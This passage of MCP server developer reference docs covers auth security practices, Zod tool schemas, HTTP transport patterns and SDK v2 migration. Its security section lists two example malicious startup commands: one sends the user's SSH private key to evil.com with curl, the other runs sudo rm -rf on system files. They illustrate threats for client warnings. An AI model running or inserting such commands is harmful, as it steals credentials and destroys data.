- Sandbox stdio servers (containers, OS-level isolation) where feasible.

### Local MCP Server Compromise

**Attack**: Malicious startup commands in client configuration, malicious server binaries, DNS rebinding to access localhost servers.

**Example malicious commands**:
```bash
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://evil.com/exfil
sudo rm -rf /important/system/files && echo "MCP server installed!"
```

**Mitigation** (for MCP clients):
- MUST show pre-configuration consent dialog with exact command (untruncated)
- SHOULD highlight dangerous patterns (`sudo`, `rm -rf`, network operations)
- SHOULD sandbox MCP server processes with minimal privileges
- SHOULD warn that servers run with same privileges as the client

**Mitigation** (for MCP servers intended for local use):
- Use `stdio` transport to limit access to just the MCP client
- If using HTTP transport: require auth token or use unix domain sockets
- Bind to localhost only (127.0.0.1)

### Scope Exploitation

**Attack**: Attacker obtains a broad-scope token (via log leakage, memory scraping, local interception) and uses it for lateral access.

**Mitigation**:
- Minimal initial scope set (e.g., `mcp:tools-basic`) for discovery/read operations
- Incremental elevation via targeted `WWW-Authenticate` `scope="..."` challenges
- Server SHOULD accept reduced-scope tokens (down-scoping tolerance)
- Emit precise scope challenges - don't return the full catalog
- Log elevation events with correlation IDs
- Never use wildcard/omnibus scopes (`*`, `all`, `full-access`)

## Auth Implementation Best Practices

### Do

- **Use tested auth libraries** - Keycloak, Auth0, Ory Hydra, etc. Don't roll your own token validation
- **Issue short-lived access tokens** - reduce blast radius of leaks
- **Validate audience** on every token - MUST match your server's canonical URI
- **Enforce HTTPS in production** - HTTP only for localhost development
- **Return proper `WWW-Authenticate` challenges** - include `Bearer`, `realm`, `resource_metadata`, and `scope`
- **Store tokens in encrypted storage** with proper access controls and eviction policies
- **Use PKCE with S256** - verify PKCE support via auth server metadata before proceeding
- **Include `resource` parameter** in every authorization and token request (RFC 8707)

### Don't

- **Don't log credentials** - never log Authorization headers, tokens, codes, or secrets
- **Don't reuse server credentials for user flows** - separate app vs. resource server secrets
- **Don't accept generic audiences** (`api`, `*`) - require exact server URI match
- **Don't skip consent for DCR clients** - unauthenticated DCR means anyone can register
- **Don't tie authorization to session IDs** - treat `Mcp-Session-Id` as untrusted input
- **Don't accept tokens from other realms** - pin to a single issuer unless explicitly multi-tenant
- **Don't leak error details** - return generic messages to clients, log detailed reasons internally

### Protected Resource Metadata

MCP servers MUST implement RFC 9728 to advertise their authorization servers:

```json
{
  "resource": "https://mcp.example.com",
  "authorization_servers": ["https://auth.example.com"],
  "scopes_supported": ["mcp:tools"]
}
```

Discovery via `WWW-Authenticate` header (preferred) or `.well-known/oauth-protected-resource` fallback.

### Path-Aware `WWW-Authenticate.resource_metadata` (frequent gotcha)

If your MCP server lives at a path (e.g. `https://example.com/mcp-v2`), the `resource_metadata` URL advertised in the 401 `WWW-Authenticate` header **must** point to a path-specific metadata document whose `resource` field exactly matches the URL the client connected to. Hardcoding `/.well-known/oauth-protected-resource` (the root) returns metadata claiming `"resource": "https://example.com"`, which the MCP SDK compares against `https://example.com/mcp-v2`, sees mismatch, and falls into a discovery loop.

```typescript
// BROKEN: root-only metadata, mismatched resource
res.set("WWW-Authenticate",
  `Bearer realm="mcp", resource_metadata="https://example.com/.well-known/oauth-protected-resource"`);

// FIX: path-aware metadata that matches the connect URL
res.set("WWW-Authenticate",
  `Bearer realm="mcp", resource_metadata="https://example.com/.well-known/oauth-protected-resource/mcp-v2"`);
// served document MUST have: { "resource": "https://example.com/mcp-v2", ... }
```

The companion RFC 8414 path-insertion convention applies to the authorization-server metadata too: clients probe `/.well-known/oauth-authorization-server/<path>` before falling back to root, so register a wildcard route or 404 won't cascade back to the root document.

### Token Audience Pitfalls

Two failure modes seen in the wild when wiring up OAuth providers (Better-Auth, Auth0, Keycloak, etc.) for MCP:

1. **Collapsed audience**: serving REST + MCP from the same audience defeats RFC 8707's resource-bound model. Use distinct `resource` URIs per protected surface.
2. **Opaque vs JWT compatibility**: some providers (Better-Auth, in particular) issue **opaque** access tokens when the `resource` parameter is absent from the token request. Many MCP middlewares assume JWTs and fail validation (e.g. `verifyAccessToken(jwksUrl)` throws → 401). Either require the `resource` parameter at the AS, or accept the introspection path.

## Scope Management

### Progressive Scope Model

```
Initial request -> 401 with scope="mcp:tools-basic"
  -> Client requests mcp:tools-basic
  -> Tool call requiring write access -> 403 insufficient_scope
  -> Client requests mcp:tools-basic mcp:files-write
  -> Tool call succeeds
```

### Scope Challenge Response (HTTP 403)

```http
HTTP/1.1 403 Forbidden
WWW-Authenticate: Bearer error="insufficient_scope",
                         scope="files:read files:write",
                         resource_metadata="https://mcp.example.com/.well-known/oauth-protected-resource",
                         error_description="File write permission required"
```

Servers decide what scopes to include:
- **Minimum**: only newly-required scopes + existing granted scopes
- **Recommended**: existing + new + related scopes (prevents losing previously granted permissions)
- **Extended**: all commonly co-used scopes

### Common Scope Mistakes

- Publishing all possible scopes in `scopes_supported`
- Using wildcard scopes (`*`, `all`, `full-access`)
- Bundling unrelated privileges to preempt future prompts
- Silent scope semantic changes without versioning
- Treating claimed scopes as sufficient without server-side authorization logic


path: references/tool-schema-guide.md
content: # Tool Schema Guide

Complete Zod-to-JSON-Schema conversion rules, known breakage, outputSchema, and structuredContent patterns.

## Table of Contents
- [Zod Schema Conversion](#zod-schema-conversion)
- [What Works](#what-works)
- [What Breaks](#what-breaks)
- [outputSchema and structuredContent](#outputschema-and-structuredcontent)
- [Tool Design Patterns](#tool-design-patterns)

## Zod Schema Conversion

### v1 Path (current stable)

The SDK's `normalizeObjectSchema()` gates Zod schemas through `toJsonSchemaCompat()`. Only `z.object()` shapes pass through correctly.

**Flow**: `z.object({...})` -> `zodToJsonSchema()` -> JSON Schema object with `type: "object"` and `properties`.

Key constraint: The MCP protocol requires `Tool.inputSchema` to have `type: "object"` at the top level. Any Zod type that doesn't produce this is silently dropped or produces an empty schema.

### v2 Path (pre-alpha)

v2 uses Standard Schema interfaces (`StandardSchemaWithJSON`). The conversion delegates to the schema library's native `toJSONSchema()`. Zod v4's native `z.toJSONSchema()` produces correct JSON Schema 2020-12 output.

However, the `type: "object"` top-level requirement in the MCP protocol still applies. A `z.discriminatedUnion()` produces `{ oneOf: [...] }` without `type: "object"`, so clients that validate may reject it.

## What Works

### Primitives and Simple Types

```typescript
z.string()                          // { "type": "string" }
z.number()                          // { "type": "number" }
z.boolean()                         // { "type": "boolean" }
z.literal("active")                 // { "const": "active" }
z.enum(["asc", "desc"])             // { "enum": ["asc", "desc"] }
z.string().optional()               // adds to JSON Schema without "required"
z.string().default("hello")         // { "type": "string", "default": "hello" }
z.string().describe("Search query") // { "type": "string", "description": "Search query" }
```

### Objects and Arrays

```typescript
// Top-level object - the only safe top-level type
z.object({
  query: z.string().describe("Search query"),
  limit: z.number().optional().describe("Max results"),
})

// Nested objects
z.object({
  user: z.object({
    name: z.string(),
    age: z.number(),
  }),
})

// Arrays
z.object({
  ids: z.array(z.string()).describe("List of IDs"),
})

// Enum discriminator (safe alternative to discriminatedUnion)
z.object({
  type: z.enum(["user", "org"]).describe("Entity type"),
  name: z.string().describe("Entity name"),
})
```

### Descriptions (.describe())

**Always use `.describe()` on every field.** This is the primary mechanism LLMs use for argument generation. The SDK converts `.describe()` to JSON Schema `description` fields.

```typescript
// DO: Every field described
z.object({
  query: z.string().describe("Search query - supports boolean operators (AND, OR, NOT)"),
  since: z.string().optional().describe("ISO date string, e.g. 2026-01-01"),
  max_results: z.number().optional().describe("1-100, default 20"),
})

// DON'T: Missing descriptions
z.object({
  query: z.string(),
  since: z.string().optional(),
  max_results: z.number().optional(),
})
```

## What Breaks

### z.union() and z.discriminatedUnion() - Silently Dropped ([#1643](https://github.com/modelcontextprotocol/typescript-sdk/issues/1643))

**Severity**: High. The schema silently becomes `{ type: "object", properties: {} }` - the tool accepts any input.

**Fix status**: Resolved in the v2 line ([PR #1796](https://github.com/modelcontextprotocol/typescript-sdk/pull/1796), merged 2026-03-30). The v1.x backport ([PR #2017](https://github.com/modelcontextprotocol/typescript-sdk/pull/2017)) is still open, so the bug is present on every released v1 version - the flat-object workaround below remains required on v1.

```typescript
// BROKEN: Produces empty schema in v1
z.discriminatedUnion("type", [
  z.object({ type: z.literal("search"), query: z.string() }),
  z.object({ type: z.literal("fetch"), id: z.string() }),
])

// FIX: Flatten to single object with enum discriminator
z.object({
  type: z.enum(["search", "fetch"]).describe("Operation type"),
  query: z.string().optional().describe("Required for type=search"),
  id: z.string().optional().describe("Required for type=fetch"),
})
```

### z.transform() - Stripped During Conversion ([#702](https://github.com/modelcontextprotocol/typescript-sdk/issues/702))

JSON Schema cannot represent runtime transformations. The transform is silently removed.

```typescript
// BROKEN: Transform lost - union resolves incorrectly
z.union([z.array(z.string()), z.string()])
  .transform((val) => Array.isArray(val) ? val : [val])

// FIX: Accept the final type directly
z.array(z.string()).describe("List of values")
```

### Plain JSON Schema Objects - Silent Drop Before v1.28 ([#1596](https://github.com/modelcontextprotocol/typescript-sdk/issues/1596))

Before v1.28.0, passing a raw JSON Schema object (not a Zod schema) was silently accepted but produced `{ type: "object", properties: {} }`. Fixed in v1.28 - now throws at registration time.

```typescript
// BROKEN in v1.27 (silently empty), ERROR in v1.28+ (throws)
server.tool("my-tool", "desc", {
  type: "object",
  properties: { query: { type: "string" } },
}, handler);

// FIX: Use Zod
server.tool("my-tool", "desc", {
  query: z.string().describe("Search query"),
}, handler);
```

### z.passthrough() - Allows Arbitrary Properties

`z.passthrough()` on object schemas produces JSON Schema without `additionalProperties: false`, allowing the LLM to send any extra fields. This can cause unexpected behavior.

```typescript
// RISKY: Accepts any extra fields
z.object({ query: z.string() }).passthrough()

// SAFE: Strict schema
z.object({ query: z.string() }).strict()
// or just don't add passthrough (default is strip)
z.object({ query: z.string() })
```

### Zod v4 Compatibility ([#925](https://github.com/modelcontextprotocol/typescript-sdk/issues/925) - resolved)

Earlier v1 releases (≤ v1.22.x) required Zod v3 internally and broke with Zod v4 (`w._parse is not a function`). Backwards-compatible Zod v4 support shipped in **v1.23.0-beta.0** and is now in stable v1; issue #925 closed 2025-11-21.

**Rule today**: SDK v1.23+ accepts Zod v3 or v4. SDK v2 alpha works with any [Standard Schema](https://standardschema.dev) library (Zod v4, Valibot, ArkType) and ships a `fromJsonSchema` adapter for raw JSON Schema (e.g. TypeBox).

## outputSchema and structuredContent

Added in spec 2025-06-18. Enables typed, machine-readable tool outputs.

### How They Work Together

1. **Tool definition** includes `outputSchema` (JSON Schema or Zod schema)
2. **Tool result** returns `structuredContent` (matching the schema) AND `content` (text fallback)
3. **Client** validates `structuredContent` against `outputSchema`

### Pattern

```typescript
server.registerTool("get_weather", {
  title: "Weather",
  description: "Get current weather for a city",
  inputSchema: z.object({
    city: z.string().describe("City name"),
  }),
  outputSchema: z.object({
    temperature: z.number().describe("Temperature in Celsius"),
    conditions: z.string().describe("Weather description"),
    humidity: z.number().describe("Humidity percentage"),
  }),
}, async ({ city }) => {
  const weather = await fetchWeather(city);
  return {
    // Structured data - clients can process programmatically
    structuredContent: weather,
    // Text fallback - backward compatibility with older clients
    content: [{ type: "text", text: JSON.stringify(weather) }],
  };
});
```

### Rules (spec normative)

- If `outputSchema` is provided, server MUST return `structuredContent` conforming to it
- Client SHOULD validate `structuredContent` against the schema
- Server SHOULD also include serialized JSON in `content` for backward compatibility
- "Soft contracts" - tools SHOULD produce schema-compliant outputs but the spec acknowledges AI-generated outputs may vary

### Token Benefits

- Clients know output shape ahead of time - better context window management
- Programmatic clients process structured data without LLM parsing
- Enables client-side field projection (only show relevant fields to LLM)

### AJV Strict-Mode Rejects Unstripped Extras (high-impact gotcha)

**Symptom**: Tool returns `structuredContent` built from upstream API data; the server logs nothing wrong; the SDK client throws "data must NOT have additional properties" or "has an output schema but did not return structured content."

**Root cause**: Zod v4 `z.object()` produces JSON Schema with `additionalProperties: false`. The SDK's client (and some inspector tools) validate `structuredContent` against `outputSchema` using AJV in strict mode and reject any extra fields. Server-side, calling `outputSchema.parse(data)` strips extras silently and returns a clean object - but if you assign the original raw upstream data to `structuredContent` without parsing it through the schema, the server happily sends the unstripped object across the wire and the client rejects it.

```typescript
// BROKEN: server.parse() result is computed but discarded
const outputSchema = z.object({ id: z.string(), name: z.string() });
const upstream = await fetchUser();  // returns { id, name, email, role, createdAt }
outputSchema.parse(upstream);         // strips extras, but result is thrown away
return {
  structuredContent: upstream,        // contains email/role/createdAt - client AJV rejects
  content: [{ type: "text", text: JSON.stringify(upstream) }],
};

// FIX 1: Use the parsed value
const cleaned = outputSchema.parse(upstream);
return {
  structuredContent: cleaned,
  content: [{ type: "text", text: JSON.stringify(cleaned) }],
};

// FIX 2: Mark the schema as passthrough if extras are intentional
const outputSchema = z.object({ id: z.string(), name: z.string() }).passthrough();
```

**Operational note**: Clients cache `outputSchema` from the `tools/list` response. If you change a tool's schema (or remove `outputSchema` entirely), already-connected sessions keep validating against the cached schema. Reconnecting the client clears the cache.

**Default rule for upstream pass-through**: When an `outputSchema` (or a nested response object) forwards data straight from an upstream API, default it to `.passthrough()`. Upstream payloads routinely carry fields you didn't model, and a strict outer schema turns every one into a client-side AJV rejection. Reserve the `.parse()`-strip path (FIX 1) for response schemas where you deliberately want to drop upstream fields before they reach the client. `inputSchema` is the opposite - keep it strict so the LLM can't pass unmodeled arguments.

## Tool Design Patterns

### Outcome-Oriented Tools

Bundle multi-step operations into single tools. This reduces round-trips and token overhead.

```typescript
// DON'T: Three separate tools requiring LLM orchestration
server.tool("get_user", ...);
server.tool("list_orders", ...);
server.tool("get_shipping_status", ...);

// DO: One outcome-oriented tool
server.tool("track_order", "Track order status by customer email",
  { email: z.string().email().describe("Customer email") },
  async ({ email }) => {
    const user = await getUser(email);
    const orders = await listOrders(user.id);
    const latest = orders[0];
    const status = await getShippingStatus(latest.id);
    return {
      content: [{
        type: "text",
        text: `Order #${latest.id} shipped via ${status.carrier}, arriving ${status.eta}`,
      }],
    };
  },
);
```

### Flat Arguments

Prefer top-level primitives over nested objects. LLMs hallucinate less with flat schemas.

```typescript
// DON'T: Nested objects
z.object({
  filter: z.object({
    query: z.string(),
    options: z.object({
      limit: z.number(),
      sort: z.enum(["asc", "desc"]),
    }),
  }),
})

// DO: Flat arguments
z.object({
  query: z.string().describe("Search query"),
  limit: z.number().optional().describe("Max results (default 20)"),
  sort: z.enum(["asc", "desc"]).optional().describe("Sort order (default desc)"),
})
```

### Pagination

Return pagination metadata with default limits:

```typescript
z.object({
  query: z.string().describe("Search query"),
  offset: z.number().optional().describe("Skip N results (default 0)"),
  limit: z.number().optional().describe("Max results, 1-100 (default 20)"),
})
// Response includes:
// { results: [...], has_more: true, next_offset: 20, total_count: 142 }
```

### No-Parameter Tools

Use explicit empty schema - not `undefined` or omission:

```typescript
// Spec recommendation (2025-11-25)
server.tool("list_models", "List available models", {
  type: "object" as const,
  additionalProperties: false,
}, handler);
```


path: references/transport-patterns.md
content: # Transport Patterns

Deep dive on Streamable HTTP transport, session management, stateless deployment, and known issues.

## Table of Contents
- [Streamable HTTP Protocol](#streamable-http-protocol)
- [Stateless Deployment](#stateless-deployment)
- [Stateful Deployment](#stateful-deployment)
- [Session Management](#session-management)
- [HTTP/2 Gotchas](#http2-gotchas)
- [CORS Configuration](#cors-configuration)
- [Framework Examples](#framework-examples)

## Streamable HTTP Protocol

Introduced in spec 2025-03-26, replacing the HTTP+SSE transport from 2024-11-05. The server exposes a **single HTTP endpoint** supporting POST, GET, and DELETE.

### Request Flow

```
Client                              Server
  |                                    |
  |-- POST /mcp (initialize) -------->|
  |<-- 200 + MCP-Session-Id ----------|  (optional, stateful only)
  |                                    |
  |-- POST /mcp (tools/call) -------->|  (include Accept: application/json, text/event-stream)
  |<-- 200 application/json -----------|  (or text/event-stream for streaming)
  |                                    |
  |-- GET /mcp ---------------------->|  (optional: open SSE stream for server notifications)
  |<-- 200 text/event-stream ---------|
  |                                    |
  |-- DELETE /mcp ------------------->|  (terminate session)
  |<-- 200 ---------------------------|
```

### Required Headers

**Client MUST send on every request after initialization:**
- `Accept: application/json, text/event-stream`
- `MCP-Protocol-Version: 2025-11-25` (added in spec 2025-06-18)
- `MCP-Session-Id: <id>` (if server assigned one)

**Server returns:**
- `Content-Type: application/json` (single response) OR `Content-Type: text/event-stream` (streaming)
- `MCP-Session-Id: <id>` on the InitializeResult response (stateful only)

### Response Modes

For client notifications/responses: `202 Accepted` with no body.

For client requests, server chooses:
- **JSON response** (`enableJsonResponse: true`): Returns `application/json` with a single JSON-RPC response. Best for stateless, request/response patterns.
- **SSE stream**: Returns `text/event-stream` with JSON-RPC messages as SSE events. Required for long-running operations, progress notifications, or multi-part responses.

## Stateless Deployment

The recommended pattern for K8s, Cloudflare Workers, and any horizontally-scaled environment. Maintainer @ihrpr: "If you need a stateless server, transport (and server object) will be created on every request" ([#330](https://github.com/modelcontextprotocol/typescript-sdk/issues/330)).

### What You Give Up

- Server-initiated notifications (GET SSE stream)
- SSE resumability (`Last-Event-ID`)
- Long-running tasks with progress updates
- Session affinity

### What You Keep

- Full tool invocation (POST -> JSON response)
- Capability negotiation (initialization per request)
- Horizontal scaling without sticky sessions

### Configuration

```typescript
const transport = new WebStandardStreamableHTTPServerTransport({
  sessionIdGenerator: undefined,    // no session tracking
  enableJsonResponse: true,         // always return JSON, never SSE
});
```

### K8s Specifics

- No sticky sessions needed (`sessionIdGenerator: undefined`)
- Standard load balancer (round-robin) works
- Each pod handles any request independently
- Initialization happens per-request (spec: "initialization is required for capabilities negotiations regardless if it's stateless or stateless" - @ihrpr [#360](https://github.com/modelcontextprotocol/typescript-sdk/issues/360))

## Stateful Deployment

For servers that need SSE notifications, long-running tasks, or multi-request workflows.

### Session ID Requirements (spec 2025-11-25)

- Globally unique
- Cryptographically secure random
- Visible ASCII only (0x21-0x7E)
- Transmitted via `MCP-Session-Id` header

### Multi-Node Stateful

Requires routing by `MCP-Session-Id` header to the same node:
- Sticky sessions via load balancer header routing
- Distributed session store (but note: transport objects cannot be serialized to Redis - @ihrpr [#330](https://github.com/modelcontextprotocol/typescript-sdk/issues/330))
- Session registry mapping IDs to node addresses

### SSE Resumability (spec 2025-11-25)

Servers MAY support SSE resumability:
1. Attach globally unique event IDs to SSE events
2. Send an initial SSE event with event ID + empty data to prime reconnection
3. Client reconnects via `GET /mcp` with `Last-Event-ID` header
4. Server replays events from that ID forward

The official `everything` server uses `InMemoryEventStore` for this. Production deployments need persistent event stores.

### Session Termination

- **Server terminates**: Responds with HTTP 404 to any request with the session ID. Client must re-initialize.
- **Client terminates**: Sends `DELETE /mcp` with `MCP-Session-Id`. Server cleans up resources.

## HTTP/2 Gotchas

### Content-Length on SSE Responses ([#1619](https://github.com/modelcontextprotocol/typescript-sdk/issues/1619))

Some HTTP adapters (e.g., `@hono/node-server`) buffer small SSE responses and add `Content-Length`. HTTP/2 forbids `Content-Length` on streaming responses, causing `PROTOCOL_ERROR` on stream close.

**Workaround**: Use `enableJsonResponse: true` for stateless servers (avoids SSE entirely). For stateful servers needing SSE, ensure your HTTP adapter doesn't add Content-Length to streaming responses, or add `Transfer-Encoding: chunked` manually.

### Transport Closure Stack Overflow ([#1699](https://github.com/modelcontextprotocol/typescript-sdk/issues/1699))

When 15-25+ transports close simultaneously (e.g., server restart, network partition), recursive promise rejection cascade causes `RangeError: Maximum call stack size exceeded`. Process stays alive but unresponsive.

**Workaround**:
```typescript
process.on("uncaughtException", (err) => {
  if (err instanceof RangeError && err.message.includes("Maximum call stack")) {
    console.error("Transport closure stack overflow, restarting...");
    process.exit(1);  // Let systemd/K8s restart
  }
  throw err;
});
```

## CORS Configuration

For remote MCP servers accessed from browser-based clients, expose these headers:

```typescript
// Required CORS headers for MCP
const corsHeaders = {
  "Access-Control-Expose-Headers": "mcp-session-id, last-event-id, mcp-protocol-version",
  "Access-Control-Allow-Headers": "content-type, accept, mcp-session-id, last-event-id, mcp-protocol-version",
};
```

**Origin validation** (spec 2025-11-25): Servers MUST validate the `Origin` header on all requests. Invalid Origin MUST receive HTTP 403 Forbidden. The `@modelcontextprotocol/express` v2 middleware includes DNS rebinding protection by default for localhost servers.

## Framework Examples

### Hono (Web Standard)

```typescript
import { Hono } from "hono";
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js";

const app = new Hono();

app.post("/mcp", async (c) => {
  const server = new McpServer({ name: "api", version: "1.0.0" });
  registerTools(server);

  const transport = new WebStandardStreamableHTTPServerTransport({
    sessionIdGenerator: undefined,
    enableJsonResponse: true,
  });

  try {
    await server.connect(transport);
    return transport.handleRequest(c.req.raw);
  } finally {
    await transport.close();
    await server.close();
  }
});
```

### Cloudflare Workers

Same pattern as Hono - `WebStandardStreamableHTTPServerTransport` works natively:

```typescript
export default {
  async fetch(request: Request): Promise<Response> {
    if (request.method === "POST" && new URL(request.url).pathname === "/mcp") {
      const server = new McpServer({ name: "worker-api", version: "1.0.0" });
      registerTools(server);

      const transport = new WebStandardStreamableHTTPServerTransport({
        sessionIdGenerator: undefined,
        enableJsonResponse: true,
      });

      await server.connect(transport);
      const response = await transport.handleRequest(request);
      await transport.close();
      await server.close();
      return response;
    }
    return new Response("Not Found", { status: 404 });
  },
};
```

### Express (v2 with middleware)

```typescript
import express from "express";
import { createMcpExpressApp } from "@modelcontextprotocol/express";

const mcpApp = createMcpExpressApp(
  (server) => {
    registerTools(server);
  },
  { name: "api", version: "1.0.0" },
);

const app = express();
app.use("/mcp", mcpApp);
app.listen(3000);
```

Note: `createMcpExpressApp` includes DNS rebinding protection by default for localhost.


path: references/v2-migration.md
content: # V2 Migration Guide

Comprehensive guide for migrating from `@modelcontextprotocol/sdk` v1 to v2. v2 is **alpha-published on npm** (`2.0.0-alpha.2` as of April 2026). Expect breaking changes between alphas; v1.x remains recommended for production. No firm v2 stable date is published - only alpha releases exist so far.

## Table of Contents
- [Package Split](#package-split)
- [Import Changes](#import-changes)
- [Runtime Requirements](#runtime-requirements)
- [API Changes](#api-changes)
- [Schema Changes](#schema-changes)
- [Error Model](#error-model)
- [Transport Changes](#transport-changes)
- [Middleware Packages](#middleware-packages)
- [Migration Checklist](#migration-checklist)

## Package Split

v1 ships as a single package. v2 splits into focused packages:

| v1 | v2 | Purpose |
|----|-----|---------|
| `@modelcontextprotocol/sdk` | `@modelcontextprotocol/server` | Build MCP servers |
| `@modelcontextprotocol/sdk` | `@modelcontextprotocol/client` | Build MCP clients |
| (internal) | `@modelcontextprotocol/core` | Shared protocol types, schemas |
| - | `@modelcontextprotocol/node` | Node.js HTTP transport middleware |
| - | `@modelcontextprotocol/express` | Express middleware + DNS rebinding protection |
| - | `@modelcontextprotocol/hono` | Hono middleware |
| - | `@modelcontextprotocol/fastify` | Fastify middleware (added 2.0.0-alpha.1, [PR #1536](https://github.com/modelcontextprotocol/typescript-sdk/pull/1536)) |

## Import Changes

### Server

```typescript
// v1
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";

// v2
import { McpServer } from "@modelcontextprotocol/server";
import { WebStandardStreamableHTTPServerTransport } from "@modelcontextprotocol/server";
import { StdioServerTransport } from "@modelcontextprotocol/server";
import { ProtocolError, ProtocolErrorCode } from "@modelcontextprotocol/core";
```

### Client

```typescript
// v1
import { Client } from "@modelcontextprotocol/sdk/client/index.js";

// v2
import { Client } from "@modelcontextprotocol/client";
```

## Runtime Requirements

| Requirement | v1 | v2 |
|-------------|----|----|
| Module system | CJS + ESM | **ESM only** |
| Node.js | 16+ | **20+** |
| Schema library | Zod v3 or v4 (since v1.23) | Any [Standard Schema](https://standardschema.dev) library (Zod v4, Valibot, ArkType) - `zod` is no longer a peer dependency ([PR #1824](https://github.com/modelcontextprotocol/typescript-sdk/pull/1824)). For raw JSON Schema, use the `fromJsonSchema` adapter. |

### ESM Migration

If your project uses CommonJS, you need to switch to ESM:

```json
// package.json
{
  "type": "module"
}
```

```json
// tsconfig.json
{
  "compilerOptions": {
    "module": "nodenext",
    "moduleResolution": "nodenext"
  }
}
```

## API Changes

### Tool Registration

The biggest API change. Positional overloads replaced with config object:

```typescript
// v1 - server.tool() with positional args (deprecated)
server.tool(
  "search_docs",                                      // name
  "Search documents",                                 // description
  { query: z.string(), limit: z.number().optional() }, // schema (raw shape)
  { readOnlyHint: true, idempotentHint: true },       // annotations
  async ({ query, limit }) => { /* handler */ },       // handler
);

// v2 - registerTool() with config object
server.registerTool("search_docs", {
  title: "Document Search",
  description: "Search documents",
  inputSchema: z.object({
    query: z.string().describe("Search query"),
    limit: z.number().optional().describe("Max results"),
  }),
  outputSchema: z.object({
    results: z.array(z.object({ id: z.string(), text: z.string() })),
    has_more: z.boolean(),
  }),
  annotations: { readOnlyHint: true, idempotentHint: true },
}, async ({ query, limit }) => {
  const result = await doSearch(query, limit);
  return {
    structuredContent: result,
    content: [{ type: "text", text: JSON.stringify(result) }],
  };
});
```

Key differences:
- Config object instead of positional args (no more overload ambiguity - [#452](https://github.com/modelcontextprotocol/typescript-sdk/issues/452))
- `inputSchema` must be `z.object()` (not raw shape `{ key: z.string() }`)
- `title` field for human-readable display name
- `outputSchema` support for typed outputs

### Resource Registration

```typescript
// v1
server.resource("config", "config://app", { mimeType: "text/plain" },
  async (uri) => ({ contents: [{ uri: uri.href, text: "..." }] })
);

// v2
server.registerResource("config", "config://app", {
  title: "Application Config",
  description: "App configuration data",
  mimeType: "text/plain",
}, async (uri) => ({
  contents: [{ uri: uri.href, text: "..." }],
}));
```

### Handler Context (extra -> ctx)

```typescript
// v1 - extra parameter (unstructured)
server.tool("my-tool", schema, async (args, extra) => {
  // extra has limited, untyped fields
});

// v2 - ctx parameter (structured, typed)
server.registerTool("my-tool", config, async (args, ctx) => {
  // Logging
  await ctx.mcpReq.log("info", "Processing request");

  // Sampling (request LLM completion)
  const response = await ctx.mcpReq.requestSampling({
    messages: [{ role: "user", content: { type: "text", text: "Summarize this" } }],
    maxTokens: 100,
  });

  // Elicitation (request user input)
  const input = await ctx.mcpReq.elicitInput({
    message: "Please confirm the operation",
    requestedSchema: { type: "object", properties: { confirm: { type: "boolean" } } },
  });

  // Abort signal
  ctx.mcpReq.signal.addEventListener("abort", () => { /* cleanup */ });
});
```

## Schema Changes

### Zod v4 Required

v2 uses Zod v4 as a peer dependency. The SDK's internal schemas import `zod/v4`:

```typescript
// v2 internals
import * as z from "zod/v4";
```

**Public API uses Standard Schema interfaces** - any library implementing `StandardSchemaWithJSON` works:
- Zod v4
- ArkType
- Valibot

### inputSchema Must Be z.object()

v1 accepted raw shapes `{ key: z.string() }` and wrapped them internally. v2 requires explicit `z.object()`:

```typescript
// v1 - raw shape (implicitly wrapped)
server.tool("my-tool", "desc", {
  query: z.string(),
  limit: z.number().optional(),
}, handler);

// v2 - explicit z.object()
server.registerTool("my-tool", {
  inputSchema: z.object({
    query: z.string(),
    limit: z.number().optional(),
  }),
}, handler);
```

### JSON Schema 2020-12 Default

The spec now defaults to JSON Schema 2020-12 if no `$schema` field is present. Zod v4's `z.toJSONSchema()` produces 2020-12 output natively.

## Error Model

### McpError -> ProtocolError

```typescript
// v1
import { McpError, ErrorCode } from "@modelcontextprotocol/sdk/types.js";
throw new McpError(ErrorCode.InternalError, "Something broke");

// v2
import { ProtocolError, ProtocolErrorCode } from "@modelcontextprotocol/core";
throw new ProtocolError(ProtocolErrorCode.InternalError, "Something broke");
```

### New SdkError (local errors)

v2 splits errors into wire errors and local errors:

```typescript
import { SdkError, SdkErrorCode } from "@modelcontextprotocol/core";

// Local SDK errors that never cross the wire
throw new SdkError(SdkErrorCode.NOT_CONNECTED, "Not connected to transport");
throw new SdkError(SdkErrorCode.REQUEST_TIMEOUT, "Request timed out");
```

### Unknown / Disabled Tool Error Semantics Changed

In v2 alpha.1, unknown or disabled tool calls return JSON-RPC `-32602` (`InvalidParams`) instead of `CallToolResult` with `isError: true`. Resource-not-found is also `-32602`: [SEP-2164](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2164) (final, 2026-05-18) standardized resource-not-found on `-32602` (`InvalidParams`); `-32002` is the **legacy** code earlier protocol versions used, which clients SHOULD still accept for backwards compatibility. This is a breaking change for clients that read `isError` to detect missing tools - they must now handle JSON-RPC error responses.

### V1 Method Signatures Removed

The deprecated `.tool()`, `.prompt()`, `.resource()` method signatures are fully removed in v2 alpha.1 ([PR #1419](https://github.com/modelcontextprotocol/typescript-sdk/pull/1419)) - they error at compile time. Use `registerTool()`, `registerPrompt()`, `registerResource()` exclusively.

### V2 Client OAuth Helpers

- **`discoverOAuthServerInfo(serverUrl)`** ([PR #1527](https://github.com/modelcontextprotocol/typescript-sdk/pull/1527)) - performs RFC 9728 protected-resource-metadata discovery followed by RFC 8414 authorization-server-metadata discovery in a single call, returning a unified `OAuthDiscoveryState` cache.
- **`AuthProvider` interface** ([PR #1710](https://github.com/modelcontextprotocol/typescript-sdk/pull/1710)) - one-line bearer-token providers: `{ token(): Promise<string | undefined>; onUnauthorized?(ctx): Promise<void> }`. Transports call `token()` before each request and `onUnauthorized()` on 401.

## Transport Changes

### SSE Server Transport Removed

v2 removes `SSEServerTransport` from the server package. Clients can still connect to legacy SSE servers.

```typescript
// v1 - SSE transport available
import { SSEServerTransport } from "@modelcontextprotocol/sdk/server/sse.js";

// v2 - REMOVED. Use WebStandardStreamableHTTPServerTransport instead
```

### WebSocket Client Transport Removed

